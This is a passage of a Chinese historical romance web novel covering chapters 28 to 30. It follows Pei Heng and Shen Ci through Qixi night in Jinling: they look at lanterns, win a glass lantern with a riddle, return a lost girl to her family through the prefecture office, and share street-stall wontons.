她不会去动什么旁门左道的歪脑筋,能想到的也只有最简单的办法,只有多多的相处,才能发现彼此的好,毕竟她也是和沈瓷多多的相处,才觉得沈姐姐好。 同样的,沈姐姐也会发现哥哥的好。 * 转眼到了七夕,裴珩都已经准备不要脸的跟着裴姝出门,谁曾想裴姝竟主动的来寻他,让他陪着一块儿出去。 “今日人多,我一个人会害怕的。”裴姝找了一个假的不能再假的借口。 裴珩盯着妹妹看了许久,直到将裴姝看的如坐针毡,才缓缓的点头应了下来。 裴姝悄悄的松了一口气,全然不知她的反应全部落在了裴珩的心里。 兄妹俩自有默契,裴姝不愿意明说,裴珩自然也不会戳穿,他们彼此心里明白,就是极好的事。 几人约定好在金陵的酒楼见面。 今日是七夕,一会儿看过花灯看烟火,总能找到独处机会的。 裴姝想的很好,但她忘记了一件事,沈姐姐和她的哥哥,从来都没什么机会单独相处,即便是能一同出游,身边也会有很多人。 而且他们俩,一人“沈姑娘”,一人“裴世子”。 称呼都是泾渭分明,没有半点熟络的意思。 打完招呼之后便再没有说任何依据多余的话,裴姝头疼不已。 这都是什么事啊? 楚映梦今日不在,她和季小将军出去游玩,楚思怡和楚景澄在一旁斗嘴,裴珩在指点楚修筠功课,留下沈瓷和裴姝两个人在研究糕点。 裴姝心中无奈,心说这好好的过个七夕,怎么就过成了这般模样? “姝儿今日是有什么心事吗?”沈瓷见裴姝魂不守舍,关切的开了口。 裴姝自然是着急上火的,只是自己尚未察觉,这会儿见沈瓷问起,才惊觉自己太过于急切,甚至都挂了脸,这可不是什么好事。 “没有。”裴姝对着沈瓷露出一个笑容,低声解释道:“只是今日表姐不在,我有一些不太习惯。” “谁说不是呢,也不知道姐姐这会儿和那季小将军在什么地方。”楚思怡一个健步冲了过来,强行的挤到沈瓷和裴姝的中间,开始“数落”自己的未来姐夫。 她叽叽喳喳的,倒没显得裴姝的反应太奇怪。 实则沈瓷也不怎么习惯,她下意识的往窗外看了一眼,就那么巧看见了楚映梦和季小将军。 可见金陵城果然不是很大。 她两回撞见秦月,也不是那么难以理解的事儿了。 “表姐,你在看什么?”楚思怡见沈瓷出神,也忍不住的凑过来看了眼,刚好瞧见姐姐和那未来姐夫的背影。 眼看两人就要走远,楚思怡忍不住的开口,“不然,我们跟上去瞧瞧?” “什么?”沈瓷不解。 倒是楚景澄很赞同这个提议,“成,我们跟上去瞧瞧。” “行!”兄妹俩一拍即合,楚景澄顺势拽上楚修筠,“哥,一块去。” “啊?”楚修筠一脸惊愕。还有他的事儿? “姝儿,一起去。”楚思怡头一回做这样的事情,其实也有一些心虚,但她干坏事的时候不敢拉上表姐,便退而求其次带上裴姝。 其实心里也是没底的,但她不知道裴姝这会儿巴不得离的远远的,给哥哥和沈姐姐创造机会,干脆的答应下来,“好。” “但这里不能没有人在,今儿个这么热闹别一会儿我们回来小二将桌上的吃食全部收拾掉了。”楚思怡面对吃的,小脑瓜总是转悠的飞快。 三两下将后续事情全部都安排好,“表姐,你就留在这里。” “什么?”沈瓷愣愣的没反应过来,待反应过来的时候厢房里已经只剩下她和裴珩。 想来也是,他们压根就没有想过要拉上裴珩一起干坏事,做什么都将他排除在外。 便造成了这样的局面。 沈瓷有些局促的站在一旁,连手都不知道往哪里放。 裴珩原本是在喝酒的,看着悠然自得,但心中的紧张也唯有他自己才懂,他的确想和沈瓷独处,但一直都不敢奢望,谁知机会来的那么突然。 裴珩从前都不知自己竟这般容易满足,只要和沈瓷待在一处,他就会高兴,即便他二人什么话都没有说。 可他同样看出了沈瓷的紧张,心中缓缓的叹了一口气,干脆利落的将手中的酒杯放下,“若是你若不想同我独处,我出去走走。” 他没有什么以退为进的心思,是当真不愿沈瓷为难,说话间已经走了几步。 “裴世子留步,我不是这个意思。”沈瓷连忙出声喊住他。 “我只是有一些反应不及,他们怎么就这么走了…” 沈瓷到这会儿还是满脸的懵,她还没理清楚思绪,几人说风就是雨,跑得远远的。 “他们几个小孩儿心性,估摸着一会儿就会回来,不必担心他们。”裴珩出声安慰道。 沈瓷轻轻的点了头,“嗯。” 二人说熟悉不算熟悉,沈瓷和裴珩当真是没什么话好说的,这会子只有他们二人,气氛也逐渐变得尴尬起来。 时常都是裴珩说话,沈瓷回话。 说的也都是一些寻常问候。 实则裴珩也很尴尬,最好的法子便是各自为政,谁都不要开口,说不准还能好受一些,只是他是在舍不得不开口,便强行的搭话,不愿意错过一分一毫。 “上一回送你的游记,可看完了?” 裴珩误打误撞,说起了沈瓷感兴趣的话题,说到这个沈瓷总算是轻松了一些。 就连回话的声音也轻快了不少 ,“已经看完了,就是有一些事情不大明白,还想着若有机会见到裴世子可以向你请教。” “倒也不必这般见外,有什么想知道的直问便是。”裴珩缓缓的勾起唇角,这边还在回应沈瓷的话,思绪早就已经飞到九霄云外。 开始思索着下一回要送几本游记给她。 这一次就连理由都是现成的,因为沈瓷喜欢。 都是自家亲戚,他送几本游记也不是什么出格的事情。 “昆仑…是在何处?” “那是神话传说中的神山,如同蓬莱岛一般的地方…” 裴珩一脸冷静的和沈瓷说起游记里的风俗人情,他晓通古今,不仅和沈瓷说了不少神话传说,还说了不少奇闻怪谈。 听得沈瓷一愣一愣的。 满脸都是好奇,“这些是真的还是假的?” 沈瓷的眼中满是好奇,眼神干净而又纯粹,裴珩很有耐心,和她解释传说的由来。 “那就是假的?” “但谁也没有法子证明,那些都是假的。”裴珩浅浅的笑起,“传说也是要有所依据的。” 他将自己的见解毫无保留的告诉沈瓷,没有任何隐瞒。 裴珩无疑是一个最好的夫子,至少每一回听裴珩和她说起这些,她的兴趣都是日渐浓厚,从未生出过什么厌烦心思。 沈瓷的问题很多,而裴珩耐心的一一作答。 不知不觉间,二人倒是没了先前的生疏。 沈瓷甚至还给他倒了一杯茶,让裴珩受宠若惊,即便他知道这只是沈瓷担心他说话太多了些,换做任何人在她的面前,她都不会吝啬这一杯茶水。 但对于裴珩而言,就是一件值得他高兴的事情。 第29章 第29章想入非非的裴世子 金陵城的七夕很热闹,朱雀街张灯结彩,人声鼎沸。 一墙之隔的厢房外,喊叫声此起彼伏热热闹闹的,但是厢房里头,裴珩和沈瓷却不是如此。 虽然他们俩一开始还有些生疏和尴尬,如今的气氛倒是温馨许多,好歹坐在一处说话的时候不用裴珩一直找寻着话题。 裴珩捧着那杯茶心满意足。 二人说了不少的话,裴珩对着沈瓷也没有任何的藏私,那些原本不明白的,如今都已经明白,她还趁机学到了不少的知识,很是心满意足。 沈瓷原本还担心和裴珩单独相处这时间会很难熬,谁曾想竟然这般的轻松,她不必绞尽脑汁的想着说出来的话是不是合适,她原本就有许多不懂的东西,就算问出了再多奇奇怪怪的问题,裴珩也并不会笑话,反而是耐心的解释。 时间就这般悄无声息的度过。 楚修筠四人离开之后,他们点的菜才陆陆续续的上来,沈瓷不知道他们去了何处,也不太清楚几人要什么时候回来,看着面前的这些饭菜有点发愁。 裴珩倒是全无心理负担,命人将多余的碗筷收拾到一边,只留下了两幅,招呼沈瓷一块儿吃饭。 沈瓷呆呆的看向裴珩,“…表哥和思怡她们还没有回来。” “他们这会儿也不知去了何处,若是等他们要等到什么时候去?等他们回来了再给他们点一些就是。”裴珩可没有饿着肚子等人的习惯,他拿起一副筷子递给沈瓷,让她放宽心,“这菜若是放凉了岂不是浪费?” 裴珩说的话都在理,沈瓷原本也是金尊玉贵养大的孩子,稍稍一想就想通了,没有兀自的纠结着做一些感动自己的事情。 至于和裴珩一块儿同桌吃饭? 原本也不是什么难以接受的事情。 他们也不是头一回一块儿用膳。 这一桌子的饭菜本也都是大家都爱吃的,沈瓷原本还有些忐忑,发现裴珩完全没有看她的时候,悄无声息的松了一口气。 此处唯有他们两人,自然也没有什么食不言,寝不语的说法。 他们几人一块儿出来的时候,哪一次不是闹哄哄的? 裴珩根本就没有劝人吃东西的习惯,这一顿饭沈瓷吃的轻松愉快。 “你若担心裴姝他们,我让人出去找找。”裴珩见她担心,便想着要派长鸣出去找,虽说他想和沈瓷单独相处,但裴珩见不得沈瓷这般着急,便想着让她安心。 谁知沈瓷听见这话连忙摆了摆手,“思怡她们也不是小孩子,有分寸的,何况还有大表哥在,不会出什么事情的。” 沈瓷其实也不是特别的担心,在金陵城里有大表哥和二表哥在,暗处还有不少家丁守着,也不会出什么事。 她会这般的坐立不安,实则是另有心事,沈瓷往外头看了看,没有说话。 裴珩见她不愿提及倒也不勉强,二人慢悠悠的吃完了一顿饭。 只是外头越来越热闹。 他们定的位置临窗而坐,打开窗户就能够看到外面的景色,那些热闹的声音也络绎不绝的传到沈瓷的耳朵里。 她的思绪被带偏,忍不住的支棱起耳朵听了起来。 眼看沈瓷越来越心不在焉,裴珩哑然失笑,语气温和的开口询问,“要不要去外头看看?” 裴珩的声音在她耳边响起,沈瓷有些疑惑的抬眸,像是有些意外。 裴珩却好似没有看见她眼中的疑惑,兀自的开始和她介绍起来,“今日城里很热闹,七夕灯会比起上元节来也毫不逊色。” 他和她说了不少热闹的场景,成功的引起了沈瓷的注意,裴珩对沈瓷并不陌生,楚修筠和楚景澄没事总爱提她。 裴珩也知道,沈瓷先前一直都待在府上并没有去看过灯会。 她今日会出现原本也是出乎裴珩的意料,但裴珩能够看的出来,沈瓷的眼中也有向往之色,并非是不喜欢,而是没有机会。 “不若一起去看一看。”裴珩的声音很是温和,温和的沈瓷都有一些恍惚。 裴珩没有说话,安静的等着她的回应。 沈瓷今日的确是想去看花灯的,想去看一看,父亲和母亲曾经定情的地方。 只是表哥和表妹都不在,有一些话她也不便对裴珩说。 毕竟,裴珩只是她表哥的表哥,他们之间没有什么关系。 本想安耐住这些心思,可外头实在是热闹。 沈瓷飞快的抬眸看了一眼裴珩,想要拒绝,又有一些舍不得,整个人纠结的不得了,她没有掩饰,表情生动又有趣,裴珩淡淡的别开眼,担心自己再看下去会忍不住的笑出声来。 “河边还能够放花灯。” 裴珩轻声开口。 沈瓷眼中的挣扎之色愈发明显起来,“…我。” “听说还可以看烟火。” 裴珩又说了一句。 沈瓷已经败下阵来,事不过三,再裴珩再一次问起的时候,沈瓷认认真真的点了头,听从了裴珩的建议,去外头看看。 裴珩心中满是欣喜和愉悦,他对七夕灯会也没有任何的兴趣,也并不想强人所难,不过是看出沈瓷有意,才会做这些吃力不讨好的事情。 如今看来,她果然是喜欢的。 他吩咐小厮留守于此,便带着沈瓷一块儿出了酒楼,沈瓷已经许久不曾看见过这么热闹的场景,原本还有一些拘谨,但一看见花灯所有的拘谨都跑到九霄云外去了。 人瞧着还算稳重,但脚步轻快,脸上的笑容也真诚了许多。 裴珩险些要跟不上她。 朱雀街两旁的花灯都很漂亮,只是也没有沈瓷想象的那么多,裴珩就在她的不远处,可以清晰的看见她脸上的神情变化。 他有些疑惑的走了过来,“是花灯不好看?” 沈瓷摇了摇头,说没有她想象的那么多,“我以为整条街上都会是花灯。” 原来还有不少卖香囊荷包的。 “等到来年上元灯会时,这里就都会是各种花灯,那时候会更热闹。”裴珩浅浅笑起,在沈瓷的身边替她解惑,告诉她今日毕竟是七夕,还有许多七夕的习俗。 沈瓷在一边听的认真,时不时的问几句话,这倒是让裴珩有些奇怪,“平江 ,没有这些吗?” 据他所知平江也不是什么小地方,那边繁华的很。 “每年七夕的时候,爹娘都要单独出门,他们不放心我一个人出去,又不愿陪我,所以都让我一人待在府上。”沈瓷说起这些的时候,语气还有一些埋怨,倒是和裴珩平素所见到的很不一样。 “我听父亲提及过,令尊和令堂的感情一向和睦。父亲说若是有什么事要求沈大人,还不如去求沈夫人来得快些。” “在家中时,的确有不少人上门来求母亲的。”沈瓷笑着接话,但二人都没有细说。 “上元节也是如此,爹爹说他要带娘一起出去。”沈瓷浅浅笑起,毫不吝啬的同裴珩分享起自己心里珍贵的回忆,“爹爹说我们一家三口成日都在一起,但他很少能和娘单独在一起。” 所以,七夕节,上元节,还有母亲的生辰,爹爹总是会单独的陪着母亲。 沈瓷小的时候也不理解,甚至还为此哭闹过。 但爹爹就算再怎么疼爱她,在这件事情上也从不会妥协,她如今渐渐长大,才明白父亲和母亲之间是怎样的一种感情。 他们让沈瓷明白,她是被父母深深的爱着,期待着,来到这个世上的。 父母留给她的感情和回忆,足够支撑沈瓷走完余生的路。 裴珩没有说话,这个时候说什么都不合适,他只需要在一旁安安静静的倾听即可,沈瓷有的时候会说起自己的父母,有的时候不会说。 几乎是想到什么,才会偶尔的说上一句。 若不然,她就一直看着花灯。 闲庭信步,走马观花。 裴珩也就这般陪着她。 这样的相处让沈瓷很安心,他们看了许许多多的花灯,有一些花灯需要解谜,沈瓷看了一眼谜面就收回了视线,倒不是猜不出,只是她在思索着这花灯要怎么提回去。 那些谜面对于裴珩而言自然不算什么。 但他不会自作主张,见沈瓷没有特别想要的意思,便没有开口。 只是她有时候在一个摊位前头停留太久,裴珩倒也会问一句她是不是喜欢,语气和面对几个妹妹时别无二致,也不会让沈瓷多想。 沈瓷却只是摇头,花灯好看,却也仅仅只是好看,说到底沈瓷还是嫌麻烦。 可沈瓷不知道,她会嫌弃麻烦是因为不够喜欢,只要足够的喜欢,她根本就移不开视线,也不会权衡利弊去考虑麻烦与否。 眼前的花灯便是如此。 只一眼她就被吸引住了,忍不住的停下脚步。 那花灯光彩夺目,很是耀眼。 不似一般的花灯用纸糊住,那是一盏琉璃花灯。 大抵爱美之心人皆有之,这花灯不仅仅沈瓷看上了,来来往往许多的人都看上了,有些问店家要多少银子才卖。 店家却指了指上头的谜面,说要解谜才可以。 一众姑娘便围绕着那花灯看了起来。 沈瓷自然也过去凑了热闹,倒是裴珩还想着一会儿要去何处看烟花,在沈瓷去看灯谜的间隙,招呼长鸣到跟前,让他去找个视野开阔的地方。 可长鸣却没有立刻答应,“世子,属下还要保护你的安危。” “你当金陵的城防是吃素的?今日这般热闹,兵部早就已经加派人手不会有事。”裴珩三两句话就将长鸣给打发。 快步的走上前去看沈瓷。 沈瓷望着那谜面,看了好一会儿,不得不承认自己才疏学浅。 这谜面并不简单,至少周围的人没有一个能猜得出来,一个个抓耳挠腮的,全无先前的自信。 沈瓷看了那花灯许久,将那谜面看了又看,还是没看出个所以然来,今日是七夕,这些姑娘们自然也不是自己出游的,有一些和楚映梦一样是和未婚夫一道出门。 还有一些是和哥哥一起的。 她们自己猜不出来,但是会求助旁人,看向了身边的兄长或是未婚夫。 于是没一会儿,就轮到所有人抓耳挠腮。 唯有沈瓷,还是倔强的站在那处,裴珩压根没去管那谜面,只是匆匆的扫了沈瓷一眼,见她没有被人挤到才稍稍的放了心。 至于那谜面,裴珩站在这个位置根本就看不到,他也没有要往里面去挤的心思,只是站在不远不近的距离关注着沈瓷的一举一动。 沈瓷又看了一刻钟,还是没有半点的头绪,她其实是想这么走的,但又不甘心。 这盏花灯,是她今日唯一喜欢的。 思及此,沈瓷仿佛是下定了什么决心,一步三挪的走到了裴珩的身边,她抬眸看他,眼中的打算显而易见,“…裴…裴…裴…” 沈瓷并非是古板无趣的人,心思自然也是弯弯绕绕,她想着如今都求到人头上了,总不能还刻板的喊他裴世子。 可套近乎这种事儿,当真还是有些难度的。 但她实在是喜欢那个花灯。 周围的人越来越多,沈瓷的心中也越来越着急,她做了半天的心理建设,最后脱口而出的还是裴世子。 喊完了人之后便呆呆的站在一旁,似乎是在嫌弃自己没能好好的套近乎。 裴珩倒是不指望她能喊出什么不一样的称呼来。 无怪乎就是和映梦思怡一样,喊他表哥。 至多再前头加一个姓。 但无论是表哥还是裴表哥,都不是裴珩想要的称呼,最要紧的是,他并不想当沈瓷的表哥,所以这个称呼刚刚好。 日后若是要改,也好改。 “想要那个花灯?” 裴珩语气淡淡开口。 沈瓷顿时点头如捣蒜,她的脸不知什么时候红了起来,只感觉周围的温度特别的高,脸颊也热热的。 很是不好意思。 裴珩走过去看了一眼谜面,便提笔写下了几个字。 掌柜的这个灯今日已经挂了许久,他着实没有想过竟有人可以答出来,这会儿见裴珩答出,也是心悦诚服。 将花灯取下交到裴珩的手中。 裴珩拿到花灯之后就交给了沈瓷,他没有关注那花灯漂亮不漂亮,只是担心那花灯到底重不重。 沈瓷小心翼翼的接过,冲着裴珩真心诚意的道谢。 她的眼眸亮晶晶的,眼中是不加掩饰的欢喜,这笑容很是熟悉,以往他的妹妹和表妹们得到心爱的东西时,也是如此。 裴珩其实没有想到沈瓷今日会求助于他,他还以为她宁可不要这个花灯,也不会来同他提的,他想到这里心中倒是有不少的愉悦。 “还要不要再看看?”裴珩询问出声,他看了一眼街市,发现才走过了一半,“也许后头还会有更漂亮的花灯。” 沈瓷欣然应允。 其实手中的这个花灯已经让她很开心,但裴珩的提议她也非常的心动,想去看一看还有什么。 但沈瓷到底没能如愿,二人没走几步路,就听到了不同寻常的动静,她倏然停下了脚步。 “怎么了?” “裴世子,你有没有听到什么声音?”沈瓷皱起眉头,往边上走了几步,她怀疑是自己听错了,但又觉得没有听错,仔细的听了好一会儿才开口说话。 “像是小孩子的哭声。” 裴珩没怀疑什么,也静下心来听了听,为了能听得更清楚些,二人远离了人流,走到了铺子的后头,远离了人群喧嚣,果然听见了小孩的哭声。 且只有小孩的哭声,并没有大人的呵斥声。 二人心中都有所担忧,不约而同的做出了同样的举动。 “好像是在那边,过去看看。”裴珩话音刚落就冲着声音的方向过去。沈瓷毫不犹豫的立刻跟上。 越往里走,哭声愈发的清晰。 终于在巷子的角落里看到了一个小孩,沈瓷将花灯举了起来,才发现那是个哭花了脸的小姑娘。 巷子里黑咕隆咚的,也不 知这小姑娘在这里待了多久,若非沈瓷手中有琉璃花灯,他们走进来时也看不清路。 周围没有人在,巷子也有些远,亏得沈瓷细心才听见动静。 小姑娘还在嚎啕大哭,她二人也不知要怎么哄孩子,只能在一旁干着急,干巴巴的说了几句。 “小妹妹,别哭了好不好?” “小孩,你冷静一点。” 二人不约而同的开口,听到这风格迥异的对话,忍不住的看了对方一眼,彼此虽觉得对方说的话有些问题,但这会儿也觉察不出所以然来,也没人会去计较。 只是小姑娘的哭声已经渐渐的小了,再哭下去只怕是要把嗓子给哭坏。 沈瓷心一横,将手中的花灯递给裴珩,随后蹲下身问起了孩子的母亲在什么地方。 小姑娘一味的摇头,说不知道。 问名字也说不知。 问为何在此处也不清楚。 沈瓷有点儿头疼。 “估计是和家里人走散的。” 方才沈瓷在哄人的时候,裴珩也没有闲着,仔细的观察了许久,这小丫头身上的穿戴并不差,养的珠圆玉润的,想来在家中也是极受宠爱。 至少可以排除是被遗弃的。 “那她爹娘一定很着急。”沈瓷眼中流露出不少怜悯,她看向裴珩,眼中似有些哀求之色,“裴世子…我们能不能帮帮她?” 裴珩其实很高兴可以从沈瓷的嘴里听到“我们”这两个字,虽然这话语里的内容让那个裴珩有些头疼。 但喜悦到底是比不悦更多的。 “我难不成是那么不近人情的人?”裴珩有些无奈道,“走吧,带孩子出去,一直待在此处也不是个事。” “若能帮这孩子找到家人,也是好事一桩。”裴珩看了眼奶呼呼的小团子,忍不住的戳了戳她的脸,“今日遇到我们,也算这小丫头的造化。” 这么丁点大的孩子,若是被拍花子的看见,估摸着都要两眼放光。 沈瓷也明白裴珩这话是什么意思,她拿出手帕替小姑娘擦干了眼泪,同她说要带她出去找爹娘,小姑娘怯生生的点了头。 主动的牵上了沈瓷得手,裴珩站在她的左边,小姑娘想了想又伸出另一只手去拉裴珩。 二人皆是一愣。 但这会儿谁也没有去顾虑这些,他俩照着原路走了出去,原本还想去看的花灯也没了机会,他俩正在挨家挨户的问有没有人丢了孩子。 平素沈瓷觉得金陵城并不大,让她能够接二连三的碰见故人,但这会儿她却觉得金陵大的不得了,不过是想要找个小孩子的父母,却半点都不能如愿。 “大叔,你有没有见到人丢孩子的?” “大娘,有没有人打听过来找孩子?” 沈瓷每一个摊位都问了过去,只是问过的人都是摇头,走了好一会儿都没找到小姑娘的父母。 倒是裴珩,不知看到了什么,下意识的顿住了脚步,连带着稍稍在前的沈瓷也停了下来,她转过身问道“怎么了吗?” 小姑娘也歪着头看他。 二人的神态有些一致,让裴珩有些尴尬。 他淡淡的别开眼,轻声解释了一句,“没事。” 他想编造一个理由,却又不想扯谎,索性闭口不言。 沈瓷和裴珩带着孩子一起走了许久,裴珩的右手牵着孩子,左手拿着的是沈瓷的花灯。 而沈瓷的左手牵着孩子,她着急的左顾右盼。 根本就没有觉察到有什么不对劲。 裴珩也不是看到了什么,只是觉得他们三人如今的模样,像极了带孩子出来看花灯的一家三口。 裴珩不想那么冒犯,可眼前熙熙攘攘的人群里,根本不缺一家三口。 姿态模样都和他们一模一样。 沈瓷在专心致志的找着孩子的父母,殊不知裴珩已经想入非非。 尤其是裴珩看见在他们不远处的一个孩子走累了,撒娇让他爹爹抱,而身边的孩子也走累了对他伸出双手时。 这种想入非非就达到了顶点。 裴珩:“……” 他怕是没救了。 第30章 第30章你们俩,单独出来玩?…… “哥哥,我走不动了。”小姑娘软软糯糯的声音响了起来。 沈瓷也下意识的看向他。 裴珩看着冲他伸出手的小姑娘,着实有一些愣神,他一时间不知该怎么办,他其实不好意思说自己并不会抱孩子。 他们家中还没有那么小的孩子,他对抱孩子所有的记忆都停留在抱过年幼的裴姝和思怡,只是那个时候他也不过七八岁,便是抱过她们两个也是有家中长辈帮忙。 这会儿被两双眼睛看着,裴珩有一些话压根就说不出口。 只能认命的叹了一口气,将手中的花灯递给沈瓷,而后学着旁人的模样将孩子给抱了起来,若非他定力十足,只怕是要惊呼出声。 这胖嘟嘟的小丫头,分量着实不轻。 好在小姑娘已经到了会说话的年纪,可以沟通,这会儿乖乖的搂着裴珩的脖子,一点也没有乱动。 裴珩抱着她在前头走着,沈瓷提着花灯走在一旁。 二人转了许久,却没有看见任何人,眼看时间越来越晚,沈瓷忍不住的建议道,“不如我们报官吧?” “…嗯?”裴珩脚步微微一顿愣了好一会儿,才想起来原来可以报官。 先前全然将这事忘得干干净净。 “这捡到孩子要去哪里报官?”沈瓷轻声的问道。 裴珩看了眼怀中昏昏欲睡的孩子,不经意的揉了揉自己酸痛的胳膊,淡淡道:“京兆府。” “但京兆府在另一边,从此处过去要不少的路。” “原本想着若是能找到她的父母,倒也不必去官府折腾一趟,可如今我们找了许久也没有头绪,还是交给官府为好。”沈瓷认真开口。 裴珩听明白了,她并非是才想起来,只是嫌麻烦,他顿时有些哭笑不得,因为自己是真的忘记了,压根就没有想起还能够报官。 只是裴珩素来喜怒不形于色,倒是没让沈瓷看出什么端倪来,领着她往另一边走。 二人有了打算之后,便没再挨家挨户的问询,迅速的往京兆府去了。 今日七夕,全城热热闹闹的,连带着京兆府也多了许多的事,这会儿衙门里头还灯火通明,好不容易将事儿都处理的差不多了,裴珩和沈瓷又过来了。 京兆府尹自然认得裴珩,莫说人家如今是天子近臣,便是从前的身份也是让人忌惮,“裴世子怎么过来了?” 他亲自来迎接,很快就看到了裴珩怀里的孩子,“这是?” “我们路边捡的。”裴珩随意的找了张椅子坐下,也没忘记沈瓷,拉着她坐在了一旁的椅子上。 沈瓷:“……” 她总觉得有一些不太好,可走了许多的路,这会儿也累得不行,那些繁文缛节和规矩,早已经被抛诸脑后。 见无人注意到她,就乖巧的坐在一旁。 裴珩怀里的孩子这会儿已经睡着,因为她睡得香甜,她也没有将孩子给旁人的打算,只问京兆府尹今日可有人来报官说丢了孩子。 “倒是有。” 京兆府尹稍稍的回忆了一番,只是他记得不是很清楚,便吩咐身边的人,“让师爷过来,将今日的卷宗也带来。” 一个衙役飞快的跑了出去。 没一会儿,师爷就带着一堆卷宗过来,“裴世子。” 师爷躬身行礼,裴珩随意的摆了摆手,又问了一次方才的问题。 师爷对比了裴珩怀中的那个姑娘,极快的找出了一张纸,上头的信息全部都对得上,“回裴世子的话,是光禄寺卿府上的孙女。” 裴珩拿过那张纸仔仔细细的看了起来,而后递给了沈瓷。 沈瓷小心的接过看了起来,确如师爷判断的那般,上头的信息全部都对得上,她将将看完,就听见裴珩语气平淡的吩咐人去通知光禄寺卿过来认领孩子。 裴珩见沈瓷还在看那张纸,便侧身和她 解释起来,“虽说这上头的信息都能够对得上,但这些衣裳和项圈也并不是什么罕见的东西,稍稍富裕一些的人家都能够买的起,总有万一。” “既然是我们将她捡来的,总要负责替她找到父母。” 沈瓷半点儿也不着急,“我也想看到小妹妹找到自己的爹娘。” 沈瓷和裴珩两人等了没有多久,就听见外头有闹哄哄的声音,原是光禄寺卿一家子都过来了,乌压压的站了一圈的人。 光禄寺卿在家中听说孩子找到了,别提有多激动,压根就没打算在府中等着,非要一块儿出来。 他们本以为是京兆府的衙役找到的,或是有好心人在外头瞧见孩子才将孩子送到衙门。 本还想着要怎么答谢恩人,谁知孙女竟窝在裴珩的怀里睡得香甜。 那在所有人眼中都不近人情的裴世子,甚至还伸手拍了拍孩子,让她睡得更安稳些。 光禄寺卿一行人看着裴珩怀里的小姑娘,大气都不敢出。 没一会儿就湿润了眼眶。 尤其是为首的老妇人,更是哭的和泪人似得。 他们这才知晓,原是一家人带着小孙女出去玩,孩子吵着要吃糖人,可是孩子前些日子牙疼,大夫说过不能多吃糖。 孩子母亲不给买,老祖母疼爱她偷摸的带着她去买,结果一眨眼孩子就不见了。 “都是我的错。我要是再小心些…” “娘,是我不好,不过是一个糖人,给她吃了又能如何?” 婆媳俩互相道着歉。 说话间原本睡着的孩子也醒了过来,看见母亲和祖母,亲亲热热的扑了过去。 小丫头小心的给祖母和母亲擦掉眼泪,怯生生的说自己再也不吃糖人了。 惹得老祖母又哭了一场。 倒是光禄寺卿还记得恩人,对着裴珩千恩万谢。 裴珩却没受,同光禄寺卿说若是要感谢,感谢沈瓷就好,“若非沈姑娘细心,我也遇不上孩子。” 光禄寺卿便对着沈瓷千恩万谢,沈瓷连连摆手,只说是举手之劳。 看着这般阖家团圆的场景,沈瓷总算是放心下来,之后的事儿她也没怎么在意,同小姑娘告别之后就离了京兆府。 倒是小姑娘有些舍不得他们俩,拉着裴珩的手不太肯放开。 光禄寺卿想拦又不敢拦的,岂料裴珩半点不在意,都蹲下身同她说话,“日后要好好听祖母和阿娘的话,一个人的时候千万不能乱跑,可明白?” 小姑娘认真的点了点头,“哥哥再见,姐姐再见。” 告别了小姑娘之后,沈瓷彻底的放松了下来,二人因为这件事耽误了不少时间,走出京兆府时,城里已经开始放烟花。 沈瓷这才想起来,他们原本是要去看烟火的。 这会儿再过去,只怕是来不及了。 “主街上的确热闹,但这会儿过去也来不及,找个视野开阔的地方一样能看。”裴珩瞧见她有些失落,便出声安慰她,“京兆府衙门这里的视野就挺开阔的。” 沈瓷抬眸看他,似乎想问一问裴珩这话可是认真的。 但裴珩的表情非常的认真,拉着她走上了台阶,“抬头。” 沈瓷下意识的抬起头,果真看到了绚烂的烟花。 一朵一朵的在空中绽放,美的如梦如幻。 “那边是皇城的位置,所以这里的宅子都不会过高。”裴珩耐心的解释,他想起先前还让长鸣去找个好地方,这会儿看来此地更合适,不仅视野开阔,还无人打扰。 裴珩这份怡然自得的心境也同样影响了沈瓷,她先前还觉得会不会不大好,这会儿也同裴珩一样,觉得这地方好极了。 最要紧的是没有人。 想来也是,除了裴珩,也许当真不会有人这般自在的站在京兆府衙门外看烟火。 一场烟火,两人看的心满意足。 结束之后,裴珩领着沈瓷离开,只是二人早已经累得够呛,沈瓷没走几步就已经受不住,裴珩也不愿逞能。 最终问过沈瓷的意见后,二人找了一家馄饨摊子坐下。 摊主是个上了年纪的阿婆,但桌子擦得干干净净的,两人点了两碗馄饨。 阿婆的馄饨是现包的,她动作极快,没一会儿就瞧见水面上漂浮着圆滚滚的馄饨。 二人从未有过在街边吃小食的机会,今日也着实难得,沈瓷盯着那馄饨目不转睛的看着,裴珩虽没有去盯着看,但也是心生期待。 “没有来过?” 沈瓷听到这话,低低的应了声,“嗯。” “修筠和景澄时常说这街边的馄饨更好吃些。” 沈瓷听裴珩这么说,更是满心的期待,等馄饨上来她也顾不得矜持,舀了一个吹了吹就吃了起来,她的眼睛瞬间就亮了起来。 “好吃?”裴珩一直观察着她的表情,见她欢喜便轻声问了起来。 沈瓷点了点头,“你也尝尝。” 裴珩也是头一回在街边吃馄饨,抱了许久的孩子,他的衣服早已经皱巴巴的,这会子什么形象都已经没了。 也顾不得旁的。 二人就在街边吃完了这一碗馄饨,金陵城的烟火很漂亮,一场接着一场,这会儿也没有停歇,坐在此处也能稍稍的看到一些,只是不太能看全。 但沈瓷不太介意,只觉得这样挺好,这一碗馄饨吃的慢极了。 裴珩也没有催促,好在夏日炎炎并不担心馄饨会冷。 他原本也想让沈瓷好好的歇一歇。 “一会儿还想去哪里逛一逛?”裴珩还记得他们方才的打算,是要去看花灯的,虽说多了点小插曲,可裴世子的目标还是很明确。 沈瓷看了一眼烟火,也有些拿不定主意,“方才耽误许久,也不知思怡她们回来了没有。” “见不到我们,他们会不会担心?” “那等会儿就朝那个方向绕回去,这边过去还有不少的花灯,还可以再看一看。”裴珩轻声建议,沈瓷仔细的问了问得知从这里回去会稍微的远一些,但不会走重复的路。 她又心动了。 吃过馄饨之后,裴珩下意识的开始摸自己的荷包,才发现他的荷包不在身上,身上唯有银票,但银票的面额实在是太大,阿婆根本就换不开。 沈瓷原本也在头疼着馄饨钱要怎么办,谁知一转眼就瞧见裴珩捏着一张百两的银票愣神,瞧那架势似乎是想将那银票递过去。 沈瓷:“……” 倒也不必如此。 就在裴珩想将银票递过去的时候,沈瓷及时叫住了他,“裴世子,我这里有碎银子。” 沈瓷的身上自然是没有铜板的,可碎银子还是有的,她找出最小的一块给了阿婆,“阿婆,我们先走了。” “这,这…”那阿婆看着那块碎银子有点儿发愁,她这是小本生意根本就找不开。 “阿婆不用找了。”沈瓷笑着开口,她不知道一碗馄饨要多少银子,但也不想让人为难,“馄饨很好吃。” 沈瓷和裴珩在阿婆的千恩万谢中走了,裴珩捏着那张银票着实有些尴尬,忍不住的出声解释起来,“我身上没有碎银子,碎银子都在长鸣身上。” 